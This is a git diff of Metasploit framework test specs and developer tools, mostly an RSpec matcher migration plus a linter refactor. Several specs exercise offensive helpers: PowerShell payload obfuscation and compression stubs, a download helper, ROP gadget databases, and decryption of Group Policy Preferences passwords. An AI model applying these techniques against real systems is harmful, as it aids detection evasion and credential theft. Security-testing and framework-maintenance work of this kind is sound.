function.to_s.include?("function #{function_name} #{example_function_with_params}").should be_true + function.to_s.include?("function #{function_name} #{example_function_with_params}").should be_truthy function.params.should be_kind_of Array function.params.length.should be == 5 function.params[0].klass.should eq 'Type[]' diff --git a/spec/lib/rex/exploitation/powershell/obfu_spec.rb b/spec/lib/rex/exploitation/powershell/obfu_spec.rb index 39c83ed7bd..9409f3579e 100644 --- a/spec/lib/rex/exploitation/powershell/obfu_spec.rb +++ b/spec/lib/rex/exploitation/powershell/obfu_spec.rb @@ -27,7 +27,7 @@ lots \t of whitespace # single_line_comment1 # single_line_comment2 # - # single_line_comment3 + # single_line_comment3 if (-not ($NewLogonAccountDomain -cmatch \"NT\\sAUTHORITY\" -or $NewLogonAccountDomain -cmatch \"Window\\sManager\")) { $Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort @@ -84,7 +84,7 @@ lots \t of whitespace # single_line_comment1 # single_line_comment2 # - # single_line_comment3 + # single_line_comment3 $some_literal = @\" using System; using System.Runtime.InteropServices; @@ -146,14 +146,14 @@ lots \t of whitespace subject.strip_comments subject.code.should be subject.code.should be_kind_of String - subject.code.include?('comment').should be_false + subject.code.include?('comment').should be_falsey end it 'should strip a single line comment' do subject.strip_comments subject.code.should be subject.code.should be_kind_of String - subject.code.include?('#').should be_false + subject.code.include?('#').should be_falsey end end @@ -163,7 +163,7 @@ lots \t of whitespace subject.code.should be subject.code.should be_kind_of String res = (subject.code =~ /\r\n\r\n/) - res.should be_false + res.should be_falsey end it 'should strip extra unix new lines' do @@ -171,7 +171,7 @@ lots \t of whitespace subject.code.should be subject.code.should be_kind_of String res = (subject.code =~ /\n\n/) - res.should be_false + res.should be_falsey end end @@ -180,7 +180,7 @@ lots \t of whitespace subject.strip_whitespace subject.code.should be subject.code.should be_kind_of String - subject.code.include?('lots of whitespace').should be_true + subject.code.include?('lots of whitespace').should be_truthy end end @@ -189,8 +189,8 @@ lots \t of whitespace subject.sub_vars subject.code.should be subject.code.should be_kind_of String - subject.code.include?('$kernel32').should be_false - subject.code.include?('$Logon').should be_false + subject.code.include?('$kernel32').should be_falsey + subject.code.include?('$Logon').should be_falsey end end @@ -199,7 +199,7 @@ lots \t of whitespace subject.sub_funcs subject.code.should be subject.code.should be_kind_of String - subject.code.include?('Find-4624Logons').should be_false + subject.code.include?('Find-4624Logons').should be_falsey end end @@ -208,24 +208,24 @@ lots \t of whitespace subject_no_literal.standard_subs subject_no_literal.code.should be subject_no_literal.code.should be_kind_of String - subject_no_literal.code.include?('Find-4624Logons').should be_false + subject_no_literal.code.include?('Find-4624Logons').should be_falsey subject_no_literal.code.include?('lots of whitespace').should be_true - subject_no_literal.code.include?('$kernel32').should be_false - subject_no_literal.code.include?('comment').should be_false + subject_no_literal.code.include?('$kernel32').should be_falsey + subject_no_literal.code.include?('comment').should be_falsey res = (subject_no_literal.code =~ /\r\n\r\n/) - res.should be_false + res.should be_falsey end it 'should run all substitutions except strip whitespace when literals are present' do subject.standard_subs subject.code.should be subject.code.should be_kind_of String - subject.code.include?('Find-4624Logons').should be_false - subject.code.include?('lots of whitespace').should be_false - subject.code.include?('$kernel32').should be_false - subject.code.include?('comment').should be_false + subject.code.include?('Find-4624Logons').should be_falsey + subject.code.include?('lots of whitespace').should be_falsey + subject.code.include?('$kernel32').should be_falsey + subject.code.include?('comment').should be_falsey res = (subject.code =~ /\r\n\r\n/) - res.should be_false + res.should be_falsey end end end diff --git a/spec/lib/rex/exploitation/powershell/output_spec.rb b/spec/lib/rex/exploitation/powershell/output_spec.rb index e57bf77888..a0aebdd24e 100644 --- a/spec/lib/rex/exploitation/powershell/output_spec.rb +++ b/spec/lib/rex/exploitation/powershell/output_spec.rb @@ -38,7 +38,7 @@ describe Rex::Exploitation::Powershell::Output do describe "::deflate_code" do it 'should zlib the code and wrap in powershell in uncompression stub' do compressed = subject.deflate_code - compressed.include?('IO.Compression.DeflateStream').should be_true + compressed.include?('IO.Compression.DeflateStream').should be_truthy compressed =~ /FromBase64String\('([A-Za-z0-9\/+=]+)'\)/ $1.size.should be < Rex::Text.encode_base64(example_script).size compressed.should eq subject.code @@ -46,7 +46,7 @@ describe Rex::Exploitation::Powershell::Output do it 'should append an eof marker if specified' do compressed = subject.deflate_code(eof) - compressed.include?("echo '#{eof}';").should be_true + compressed.include?("echo '#{eof}';").should be_truthy end end @@ -62,7 +62,7 @@ describe Rex::Exploitation::Powershell::Output do describe "::gzip_code" do it 'should gzip the code and wrap in powershell in uncompression stub' do compressed = subject.gzip_code - compressed.include?('IO.Compression.GzipStream').should be_true + compressed.include?('IO.Compression.GzipStream').should be_truthy compressed =~ /FromBase64String\('([A-Za-z0-9\/+=]+)'\)/ $1.size.should be < Rex::Text.encode_base64(example_script).size compressed.should eq subject.code @@ -70,24 +70,24 @@ describe Rex::Exploitation::Powershell::Output do it 'should append an eof marker if specified' do compressed = subject.gzip_code(eof) - compressed.include?("echo '#{eof}';").should be_true + compressed.include?("echo '#{eof}';").should be_truthy end end describe "::compress_code" do it 'should gzip by default' do compressed = subject.compress_code - compressed.include?('IO.Compression.GzipStream').should be_true + compressed.include?('IO.Compression.GzipStream').should be_truthy end it 'should deflate if gzip is false' do compressed = subject.compress_code(nil,false) - compressed.include?('IO.Compression.DeflateStream').should be_true + compressed.include?('IO.Compression.DeflateStream').should be_truthy end it 'should append an eof' do compressed = subject.compress_code(eof) - compressed.include?("echo '#{eof}';").should be_true + compressed.include?("echo '#{eof}';").should be_truthy end end diff --git a/spec/lib/rex/exploitation/powershell/param_spec.rb b/spec/lib/rex/exploitation/powershell/param_spec.rb index 2ae71205c2..98bd22f373 100644 --- a/spec/lib/rex/exploitation/powershell/param_spec.rb +++ b/spec/lib/rex/exploitation/powershell/param_spec.rb @@ -19,7 +19,7 @@ describe Rex::Exploitation::Powershell::Param do param.should be param.name.should eq param_name param.klass.should eq klass_name - param.to_s.include?("[#{klass_name}]$#{param_name}").should be_true + param.to_s.include?("[#{klass_name}]$#{param_name}").should be_truthy end end diff --git a/spec/lib/rex/exploitation/powershell/parser_spec.rb b/spec/lib/rex/exploitation/powershell/parser_spec.rb index 5705c63679..02f9694854 100644 --- a/spec/lib/rex/exploitation/powershell/parser_spec.rb +++ b/spec/lib/rex/exploitation/powershell/parser_spec.rb @@ -67,7 +67,7 @@ function Find-4624Logons vars.should be vars.should be_kind_of Array vars.length.should be > 0 - vars.include?('$ResultObj').should be_true + vars.include?('$ResultObj').should be_truthy end it 'should not match upper or lowercase reserved names' do @@ -86,7 +86,7 @@ function Find-4624Logons funcs.should be funcs.should be_kind_of Array funcs.length.should be > 0 - funcs.include?('Find-4624Logons').should be_true + funcs.include?('Find-4624Logons').should be_truthy end end @@ -96,7 +96,7 @@ function Find-4624Logons literals.should be literals.should be_kind_of Array literals.length.should be > 0 - literals[0].include?('parp').should be_false + literals[0].include?('parp').should be_falsey end end @@ -152,7 +152,7 @@ function Find-4624Logons it 'should delete the function if delete is true' do function = subject.get_func('Find-4624Logons', true) - subject.code.include?('DllImport').should be_false + subject.code.include?('DllImport').should be_falsey end end end diff --git a/spec/lib/rex/exploitation/powershell/psh_methods_spec.rb b/spec/lib/rex/exploitation/powershell/psh_methods_spec.rb index a94924f215..7b2b9b4fe6 100644 --- a/spec/lib/rex/exploitation/powershell/psh_methods_spec.rb +++ b/spec/lib/rex/exploitation/powershell/psh_methods_spec.rb @@ -9,35 +9,35 @@ describe Rex::Exploitation::Powershell::PshMethods do it 'should return some powershell' do script = Rex::Exploitation::Powershell::PshMethods.download('a','b') script.should be - script.include?('WebClient').should be_true + script.include?('WebClient').should be_truthy end end describe "::uninstall" do it 'should return some powershell' do script = Rex::Exploitation::Powershell::PshMethods.uninstall('a') script.should be - script.include?('Win32_Product').should be_true + script.include?('Win32_Product').should be_truthy end end describe "::secure_string" do it 'should return some powershell' do script = Rex::Exploitation::Powershell::PshMethods.secure_string('a') script.should be - script.include?('AsPlainText').should be_true + script.include?('AsPlainText').should be_truthy end end describe "::who_locked_file" do it 'should return some powershell' do script = Rex::Exploitation::Powershell::PshMethods.who_locked_file('a') script.should be - script.include?('Get-Process').should be_true + script.include?('Get-Process').should be_truthy end end describe "::get_last_login" do it 'should return some powershell' do script = Rex::Exploitation::Powershell::PshMethods.get_last_login('a') script.should be - script.include?('Get-QADComputer').should be_true + script.include?('Get-QADComputer').should be_truthy end end end diff --git a/spec/lib/rex/exploitation/powershell/script_spec.rb b/spec/lib/rex/exploitation/powershell/script_spec.rb index 7b7b849606..8c7f3f4430 100644 --- a/spec/lib/rex/exploitation/powershell/script_spec.rb +++ b/spec/lib/rex/exploitation/powershell/script_spec.rb @@ -21,7 +21,7 @@ describe Rex::Exploitation::Powershell::Output do subject.rig.should be_kind_of Rex::RandomIdentifierGenerator subject.code.should be subject.code.should be_kind_of String - subject.code.empty?.should be_false + subject.code.empty?.should be_falsey subject.functions.empty?.should be_true end end @@ -31,7 +31,7 @@ describe Rex::Exploitation::Powershell::Output do byte_array = Rex::Exploitation::Powershell::Script.to_byte_array("parp") byte_array.should be byte_array.should be_kind_of String - byte_array.include?('[Byte[]] $').should be_true + byte_array.include?('[Byte[]] $').should be_truthy end end @@ -40,7 +40,7 @@ describe Rex::Exploitation::Powershell::Output do mods = Rex::Exploitation::Powershell::Script.code_modifiers mods.should be mods.should be_kind_of Array - mods.empty?.should be_false + mods.empty?.should be_falsey end end diff --git a/spec/lib/rex/exploitation/powershell_spec.rb b/spec/lib/rex/exploitation/powershell_spec.rb index 6885691963..c18531c9a6 100644 --- a/spec/lib/rex/exploitation/powershell_spec.rb +++ b/spec/lib/rex/exploitation/powershell_spec.rb @@ -38,7 +38,7 @@ DumpHashes""" describe "::make_subs" do it 'should substitute values in script' do script = described_class.make_subs(example_script,[['BitConverter','ParpConverter']]) - script.include?('BitConverter').should be_false + script.include?('BitConverter').should be_falsey script.include?('ParpConverter').should be_true end end diff --git a/spec/lib/rex/exploitation/ropdb_spec.rb b/spec/lib/rex/exploitation/ropdb_spec.rb index a1ae61b24b..100652fa96 100644 --- a/spec/lib/rex/exploitation/ropdb_spec.rb +++ b/spec/lib/rex/exploitation/ropdb_spec.rb @@ -16,23 +16,23 @@ describe Rex::Exploitation::RopDb do context ".has_rop?" do it "should find the msvcrt ROP database" do - ropdb.has_rop?("msvcrt").should be_true + ropdb.has_rop?("msvcrt").should be_truthy end it "should find the java ROP database" do - ropdb.has_rop?("java").should be_true + ropdb.has_rop?("java").should be_truthy end it "should find the hxds ROP database" do - ropdb.has_rop?("hxds").should be_true + ropdb.has_rop?("hxds").should be_truthy end it "should find the flash ROP database" do - ropdb.has_rop?("flash").should be_true + ropdb.has_rop?("flash").should be_truthy end it "should return false when I supply an invalid database" do - ropdb.has_rop?("sinn3r").should be_false + ropdb.has_rop?("sinn3r").should be_falsey end end @@ -82,4 +82,4 @@ describe Rex::Exploitation::RopDb do end end -end \ No newline at end of file +end diff --git a/spec/lib/rex/parser/group_policy_preferences_spec.rb b/spec/lib/rex/parser/group_policy_preferences_spec.rb index 3d0f8c03d4..a2e61578a3 100644 --- a/spec/lib/rex/parser/group_policy_preferences_spec.rb +++ b/spec/lib/rex/parser/group_policy_preferences_spec.rb @@ -33,43 +33,43 @@ xml_serv = ' xml_ms = ' - - - - - - @@ -89,12 +89,12 @@ cpassword_bad = "blah" describe Rex::Parser::GPP do GPP = Rex::Parser::GPP - + ## # Decrypt ## it "Decrypt returns Local*P4ssword! for normal cpassword" do - result = GPP.decrypt(cpassword_normal) + result = GPP.decrypt(cpassword_normal) result.should eq("Local*P4ssword!") end @@ -102,7 +102,7 @@ describe Rex::Parser::GPP do result = GPP.decrypt(cpassword_bad) result.should eq("") end - + it "Decrypt returns blank for nil cpassword" do result = GPP.decrypt(nil) result.should eq("") @@ -132,7 +132,7 @@ describe Rex::Parser::GPP do it "Parse returns results for xml_datasrc, and attributes, and password is test1" do results = GPP.parse(xml_datasrc) results.should_not be_empty - results[0].include?(:ATTRIBUTES).should be_true + results[0].include?(:ATTRIBUTES).should be_truthy results[0][:ATTRIBUTES].should_not be_empty results[0][:PASS].should eq("test") end diff --git a/spec/lib/rex/parser/unattend_spec.rb b/spec/lib/rex/parser/unattend_spec.rb index 980c469ef5..8e1de52e94 100644 --- a/spec/lib/rex/parser/unattend_spec.rb +++ b/spec/lib/rex/parser/unattend_spec.rb @@ -16,7 +16,7 @@ comb = REXML::Document.new(' %w(bar), 'Blah' => %w(0), 'FoO' => %w(blaf)) + r.header('Foo').should eq %w(bar blaf) + end + end + + describe 'Parses invalid responses correctly' do + [ + '', + 'aldkjfakdjfasdf', + 'SIP/foo 200 OK', + 'SIP/2.0 foo OK' + ].each do |r| + it 'Should fail to parse an invalid response' do + expect { ::Rex::Proto::SIP::Response.parse(r) }.to raise_error(ArgumentError, /status/) + end + end + end +end diff --git a/spec/models/metasploit/credential/core_spec.rb b/spec/models/metasploit/credential/core_spec.rb index 65cca84721..fa70d2371a 100644 --- a/spec/models/metasploit/credential/core_spec.rb +++ b/spec/models/metasploit/credential/core_spec.rb @@ -2,4 +2,4 @@ require 'spec_helper' describe Metasploit::Credential::Core do it_should_behave_like 'Metasploit::Credential::Core::ToCredential' -end \ No newline at end of file +end diff --git a/spec/msfcli_spec.rb b/spec/msfcli_spec.rb index 1cf222b4e6..4c67ecebb3 100644 --- a/spec/msfcli_spec.rb +++ b/spec/msfcli_spec.rb @@ -72,7 +72,7 @@ describe Msfcli do it "should see a help menu" do out = get_stdout { cli = Msfcli.new([]) - cli.usage + cli.usage } out.should =~ /Usage/ end diff --git a/spec/support/shared/contexts/msf/db_manager.rb b/spec/support/shared/contexts/msf/db_manager.rb index 7a164523a3..6ff47e269c 100644 --- a/spec/support/shared/contexts/msf/db_manager.rb +++ b/spec/support/shared/contexts/msf/db_manager.rb @@ -14,4 +14,4 @@ shared_context 'Msf::DBManager' do framework.db.workspace = framework.db.default_workspace db_manager.stub(:active => active) end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/credential/core/to_credential.rb b/spec/support/shared/examples/credential/core/to_credential.rb index 17c56c7c6f..72cf69a76a 100644 --- a/spec/support/shared/examples/credential/core/to_credential.rb +++ b/spec/support/shared/examples/credential/core/to_credential.rb @@ -3,19 +3,19 @@ require 'metasploit/framework/credential' shared_examples_for 'Metasploit::Credential::Core::ToCredential' do context "methods" do context ".to_credential" do - + subject(:crednetial_core) do FactoryGirl.create(:metasploit_credential_core) end - + it { should respond_to :to_credential } - + it "should return a Metasploit::Framework::Credential" do expect( crednetial_core.to_credential ).to be_a Metasploit::Framework::Credential end - + it "should set the parent to the credential object" do expect( crednetial_core.to_credential.parent @@ -23,4 +23,4 @@ shared_examples_for 'Metasploit::Credential::Core::ToCredential' do end end end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/metasploit/framework/login_scanner/http.rb b/spec/support/shared/examples/metasploit/framework/login_scanner/http.rb index 480e5679a2..c1ad92c42f 100644 --- a/spec/support/shared/examples/metasploit/framework/login_scanner/http.rb +++ b/spec/support/shared/examples/metasploit/framework/login_scanner/http.rb @@ -8,7 +8,7 @@ shared_examples_for 'Metasploit::Framework::LoginScanner::HTTP' do context "without ssl, without port" do it "should default :port to #{described_class::DEFAULT_PORT}" do - expect(http_scanner.ssl).to be_false + expect(http_scanner.ssl).to be_falsey expect(http_scanner.port).to eq(described_class::DEFAULT_PORT) end end @@ -16,7 +16,7 @@ shared_examples_for 'Metasploit::Framework::LoginScanner::HTTP' do context "with ssl, without port" do subject(:http_scanner) { described_class.new(ssl:true) } it "should set :port to default ssl port (#{described_class::DEFAULT_SSL_PORT})" do - expect(http_scanner.ssl).to be_true + expect(http_scanner.ssl).to be_truthy expect(http_scanner.port).to eq(described_class::DEFAULT_SSL_PORT) end end @@ -25,14 +25,14 @@ shared_examples_for 'Metasploit::Framework::LoginScanner::HTTP' do subject(:http_scanner) { described_class.new(port:described_class::DEFAULT_PORT) } it "should set ssl to false" do expect(http_scanner.port).to eq(described_class::DEFAULT_PORT) - expect(http_scanner.ssl).to be_false + expect(http_scanner.ssl).to be_falsey end end context "without ssl, with default SSL port" do subject(:http_scanner) { described_class.new(port:described_class::DEFAULT_SSL_PORT) } it "should set ssl to true" do - expect(http_scanner.ssl).to be_true + expect(http_scanner.ssl).to be_truthy expect(http_scanner.port).to eq(described_class::DEFAULT_SSL_PORT) end end diff --git a/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb b/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb index 05e3f09697..e207827c6d 100644 --- a/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb +++ b/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb @@ -20,4 +20,4 @@ shared_examples_for 'Msf::DBManager::Export#extract_module_detail_info module_de child_node.content.should == attribute.to_s end end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/msf/db_manager/migration.rb b/spec/support/shared/examples/msf/db_manager/migration.rb index bea5e24477..a9cf24bbca 100644 --- a/spec/support/shared/examples/msf/db_manager/migration.rb +++ b/spec/support/shared/examples/msf/db_manager/migration.rb @@ -134,4 +134,4 @@ shared_examples_for 'Msf::DBManager::Migration' do reset_column_information end end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb index 72fbe69f84..ee7aa479bb 100644 --- a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb +++ b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb @@ -25,13 +25,13 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Platform#name or module_detail.platforms.any? { |module_platform| module_platform.name == self.module_platform.name } - }.should be_true + }.should be_truthy end end context 'with Mdm::Module::Target#name' do let(:name) do - # use inspect to quote spaces in string + # use inspect to quote spaces in string module_target.name.inspect end @@ -42,8 +42,8 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Platform#name or module_detail.targets.any? { |module_target| module_target.name == self.module_target.name } - }.should be_true + }.should be_truthy end end end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb index 7c9edb2002..30d7d943fd 100644 --- a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb +++ b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb @@ -31,7 +31,7 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword module_detail.refs.any? { |module_ref| module_ref.name == name } - }.should be_true + }.should be_truthy end end @@ -41,4 +41,4 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword end end end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb index 8e682b0298..d44bef42a9 100644 --- a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb +++ b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb @@ -57,4 +57,4 @@ shared_examples_for 'Msf::DBManager#update_all_module_details refresh' do update_all_module_details end end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/msf/db_manager/update_module_details_with_module_type.rb b/spec/support/shared/examples/msf/db_manager/update_module_details_with_module_type.rb index adc5887f25..54a4f18885 100644 --- a/spec/support/shared/examples/msf/db_manager/update_module_details_with_module_type.rb +++ b/spec/support/shared/examples/msf/db_manager/update_module_details_with_module_type.rb @@ -23,4 +23,4 @@ shared_examples_for 'Msf::DBManager#update_module_details with module' do |optio }.to_not raise_error end end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index d6ac4f9c1a..fb2d1c4f38 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -44,7 +44,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do {} end - it { should be_true } + it { should be_truthy } end context 'without empty' do @@ -54,7 +54,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do } end - it { should be_false } + it { should be_falsey } end end @@ -196,7 +196,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do false end - it { should be_false } + it { should be_falsey } end context 'with true' do @@ -204,7 +204,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do true end - it { should be_true } + it { should be_truthy } end end end @@ -214,7 +214,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do {} end - it { should be_false } + it { should be_falsey } end end @@ -315,7 +315,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do true end - it { should be_true } + it { should be_truthy } end context 'without migrated' do @@ -323,7 +323,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do false end - it { should be_false } + it { should be_falsey } end end @@ -332,7 +332,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do framework.stub(:db => nil) end - it { should be_false } + it { should be_falsey } end end @@ -456,4 +456,4 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end end end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/msf/module_manager/loading.rb b/spec/support/shared/examples/msf/module_manager/loading.rb index 9f32665fc4..4fd53c25d2 100644 --- a/spec/support/shared/examples/msf/module_manager/loading.rb +++ b/spec/support/shared/examples/msf/module_manager/loading.rb @@ -9,7 +9,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do module_path = tempfile.path subject.send(:module_info_by_path)[module_path].should be_nil - subject.file_changed?(module_path).should be_true + subject.file_changed?(module_path).should be_truthy end end @@ -25,7 +25,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do :type => Msf::MODULE_PAYLOAD } - subject.file_changed?(module_path).should be_true + subject.file_changed?(module_path).should be_truthy end end @@ -41,7 +41,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do tempfile.unlink - File.exist?(module_path).should be_false + File.exist?(module_path).should be_falsey subject.file_changed?(module_path).should be_true end @@ -56,7 +56,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do } cached_modification_time.should_not == modification_time - subject.file_changed?(module_path).should be_true + subject.file_changed?(module_path).should be_truthy end end @@ -71,7 +71,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do } cached_modification_time.should == modification_time - subject.file_changed?(module_path).should be_false + subject.file_changed?(module_path).should be_falsey end end end @@ -159,4 +159,4 @@ shared_examples_for 'Msf::ModuleManager::Loading' do on_module_load end end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/msf/module_manager/module_paths.rb b/spec/support/shared/examples/msf/module_manager/module_paths.rb index 0951211d28..72dc8b93d4 100644 --- a/spec/support/shared/examples/msf/module_manager/module_paths.rb +++ b/spec/support/shared/examples/msf/module_manager/module_paths.rb @@ -21,7 +21,7 @@ shared_examples_for 'Msf::ModuleManager::ModulePaths' do path = file.path file.unlink - File.exist?(path).should be_false + File.exist?(path).should be_falsey expect { module_manager.add_module_path(path) @@ -32,7 +32,7 @@ shared_examples_for 'Msf::ModuleManager::ModulePaths' do Tempfile.open(archive_basename) do |temporary_file| path = temporary_file.path - File.exist?(path).should be_true + File.exist?(path).should be_truthy module_manager.add_module_path(path) @@ -74,4 +74,4 @@ shared_examples_for 'Msf::ModuleManager::ModulePaths' do end end end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/msf/simple/framework/module_paths.rb b/spec/support/shared/examples/msf/simple/framework/module_paths.rb index a202dfc99e..134e28ad8b 100644 --- a/spec/support/shared/examples/msf/simple/framework/module_paths.rb +++ b/spec/support/shared/examples/msf/simple/framework/module_paths.rb @@ -92,4 +92,4 @@ shared_examples_for 'Msf::Simple::Framework::ModulePaths' do end end end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/options.rb b/spec/support/shared/examples/options.rb index d84fa9a692..83068b6116 100644 --- a/spec/support/shared/examples/options.rb +++ b/spec/support/shared/examples/options.rb @@ -32,7 +32,7 @@ shared_examples_for "an option" do |valid_values, invalid_values, type| it "should be valid and normalize appropriately: #{valid_value}" do block = Proc.new { subject.normalize(valid_value).should == normalized_value - subject.valid?(valid_value).should be_true + subject.valid?(valid_value).should be_truthy } if vhash[:pending] pending(vhash[:pending], &block) @@ -47,7 +47,7 @@ shared_examples_for "an option" do |valid_values, invalid_values, type| invalid_values.each do |vhash| invalid_value = vhash[:value] it "should not be valid: #{invalid_value}" do - block = Proc.new { subject.valid?(invalid_value).should be_false } + block = Proc.new { subject.valid?(invalid_value).should be_falsey } if vhash[:pending] pending(vhash[:pending], &block) else diff --git a/spec/tools/cpassword_decrypt_spec.rb b/spec/tools/cpassword_decrypt_spec.rb index addf839222..ee47300ebb 100644 --- a/spec/tools/cpassword_decrypt_spec.rb +++ b/spec/tools/cpassword_decrypt_spec.rb @@ -28,4 +28,4 @@ describe CPassword do end end end -end \ No newline at end of file +end diff --git a/tools/dev/pre-commit-hook.rb b/tools/dev/pre-commit-hook.rb index 930ad69888..514cc75c26 100755 --- a/tools/dev/pre-commit-hook.rb +++ b/tools/dev/pre-commit-hook.rb @@ -50,8 +50,9 @@ end changed_files.each_line do |fname| fname.strip! - next unless File.exist?(fname) and File.file?(fname) - next unless fname =~ /modules.+\.rb/ + next unless File.exist?(fname) + next unless File.file?(fname) + next unless fname =~ /^modules.+\.rb/ files_to_check << fname end diff --git a/tools/msftidy.rb b/tools/msftidy.rb index cee49583d0..c0422aef11 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -47,11 +47,16 @@ class Msftidy WARNINGS = 0x10 ERRORS = 0x20 + # Some compiles regexes + REGEX_MSF_EXPLOIT = / \< Msf::Exploit/ + REGEX_IS_BLANK_OR_END = /^\s*end\s*$/ + attr_reader :full_filepath, :source, :stat, :name, :status def initialize(source_file) @full_filepath = source_file @source = load_file(source_file) + @lines = @source.lines # returns an enumerator @status = OK @name = File.basename(source_file) end @@ -110,7 +115,7 @@ class Msftidy end def check_shebang - if @source.lines.first =~ /^#!/ + if @lines.first =~ /^#!/ warn("Module should not have a #! line") end end @@ -126,7 +131,7 @@ class Msftidy msg = "Using Nokogiri in modules can be risky, use REXML instead." has_nokogiri = false has_nokogiri_xml_parser = false - @source.each_line do |line| + @lines.each do |line| if has_nokogiri if line =~ /Nokogiri::XML\.parse/ or line =~ /Nokogiri::XML::Reader/ has_nokogiri_xml_parser = true @@ -143,7 +148,7 @@ class Msftidy in_super = false in_refs = false - @source.each_line do |line| + @lines.each do |line| if !in_super and line =~ /\s+super\(/ in_super = true elsif in_super and line =~ /[[:space:]]*def \w+[\(\w+\)]*/ @@ -203,7 +208,7 @@ class Msftidy # warn if so. Since Ruby 1.9 this has not been necessary and # the framework only suports 1.9+ def check_rubygems - @source.each_line do |line| + @lines.each do |line| if line_has_require?(line, 'rubygems') warn("Explicitly requiring/loading rubygems is not necessary") break @@ -234,7 +239,7 @@ class Msftidy max_count = 10 counter = 0 if @source =~ /^##/ - @source.each_line do |line| + @lines.each do |line| # If exists, the $Id$ keyword should appear at the top of the code. # If not (within the first 10 lines), then we assume there's no # $Id$, and then bail. @@ -266,7 +271,7 @@ class Msftidy in_super = false in_author = false - @source.each_line do |line| + @lines.each do |line| # # Mark our "super" code block # @@ -344,8 +349,37 @@ class Msftidy error("Fails alternate Ruby version check") if rubies.size != res.size end + def is_exploit_module? + ret = false + if @source =~ REGEX_MSF_EXPLOIT + # having Msf::Exploit is good indicator, but will false positive on + # specs and other files containing the string, but not really acting + # as exploit modules, so here we check the file for some actual contents + # this could be done in a simpler way, but this let's us add more later + msf_exploit_line_no = nil + @lines.each_with_index do |line, idx| + if line =~ REGEX_MSF_EXPLOIT + # note the line number + msf_exploit_line_no = idx + elsif msf_exploit_line_no + # check there is anything but empty space between here and the next end + # something more complex could be added here + if line !~ REGEX_IS_BLANK_OR_END + # if the line is not 'end' and is not blank, prolly exploit module + ret = true + break + else + # then keep checking in case there are more than one Msf::Exploit + msf_exploit_line_no = nil + end + end + end + end + ret + end + def check_ranking - return if @source !~ / \< Msf::Exploit/ + return unless is_exploit_module? available_ranks = [ 'ManualRanking', @@ -384,7 +418,7 @@ class Msftidy error('Incorrect disclosure date format') end else - error('Exploit is missing a disclosure date') if @source =~ / \< Msf::Exploit/ + error('Exploit is missing a disclosure date') if is_exploit_module? end end @@ -440,7 +474,7 @@ class Msftidy src_ended = false idx = 0 - @source.each_line { |ln| + @lines.each do |ln| idx += 1 # block comment awareness @@ -519,7 +553,7 @@ class Msftidy if ln =~ /^\s*Rank\s*=\s*/ and @source =~ /<\sMsf::Auxiliary/ warn("Auxiliary modules have no 'Rank': #{ln}", idx) end - } + end end def check_vuln_codes